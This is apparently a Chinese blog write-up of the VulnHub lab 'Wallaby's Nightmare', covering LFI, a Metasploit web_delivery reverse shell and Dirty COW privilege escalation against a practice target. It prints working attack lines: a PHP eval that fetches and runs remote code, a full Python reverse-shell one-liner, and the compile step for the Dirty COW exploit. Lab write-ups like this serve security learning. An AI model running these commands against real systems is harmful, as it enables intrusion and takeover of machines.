小白的靶机VulnHub-Wallaby‘s: Nightmare (v1.0.2)

靶机地址:https://www.vulnhub.com/entry/wallabys-nightmare-v102,176/

开机界面就是这样

在这里插入图片描述
还是 采用的桥接模式

在这里插入图片描述

确定靶机的IP地址:192.168.1.10

在这里插入图片描述

靶机开放了22、80端口

直接访问

随意输入一个用户名

在这里插入图片描述在这里插入图片描述

看这个参数 /?page=

在这里插入图片描述
之前总结过

直接/etc/passwd

在这里插入图片描述
上nikto扫扫

在这里插入图片描述被拒绝了请求

在这里插入图片描述我淦 重新扫描一下

在这里插入图片描述

发现80端口关闭了。。。

但是60080端口开启了http服务

在这里插入图片描述

继续扫目录

有很多的目录

在这里插入图片描述一个一个看一下

在这里插入图片描述

F12 源代码 康康

在这里插入图片描述
这里本地文件包含漏洞(LFI)可以执行命令

在这里插入图片描述
在这里插入图片描述直接上msf反弹shell

在这里插入图片描述

msf > use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 1
target => 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcppayload => php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lport 4444
lport => 4444
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.12
lhost => 192.168.1.12
msf exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.12:4444 
[*] Using URL: http://0.0.0.0:8080/dgy2I1ywXdSR
[*] Local IP: http://192.168.1.12:8080/dgy2I1ywXdSR
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.1.12:8080/dgy2I1ywXdSR'));"

进行命令执行

拿到shell 之后 进入

msf exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                   Information             Connection
  --  ----  ----                   -----------             ----------
  1         meterpreter php/linux  www-data (33) @ ubuntu  192.168.1.12:4444 -> 192.168.1.10:54556 (192.168.1.10)
msf exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64
Meterpreter : php/linux
meterpreter > shell
Process 1245 created.
Channel 1 created.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$ cd /tmp 
cd /tmp

脏牛的提权文件,看这里

但是我下载不来 总是被拒绝 头疼

这边 我python 进入pty

然后我靶机下载被拒绝了

然后我下载到kali上 开启python服务

进行下载

在这里插入图片描述
在这里插入图片描述

可以看到下载成功了

进行gcc 编译

命令:gcc cowroot.c -o dayu -pthread

在这里插入图片描述

运行一下
在这里插入图片描述
可以看到已经拿到root权限了

这是利用的脏牛提权 这个提权方法 还得继续学习一下

成功拿到flag
在这里插入图片描述
这里非常不推荐脏牛提权 系统就直接崩溃了

使用python的反弹shell kali本地开启监听

这个之前也写过

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.1.12",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali本地开启监听 8888端口 也可以拿到低权限的shell

还有一种反弹shell

kali本身php的反弹shell脚本

在这里:/usr/share/webshells/php/php-reverse-shell.php

修改为kali本身的IP 本地开启监听1234端口 一样可以拿到低权限的shell

猜你喜欢

转载自blog.csdn.net/wo41ge/article/details/113729695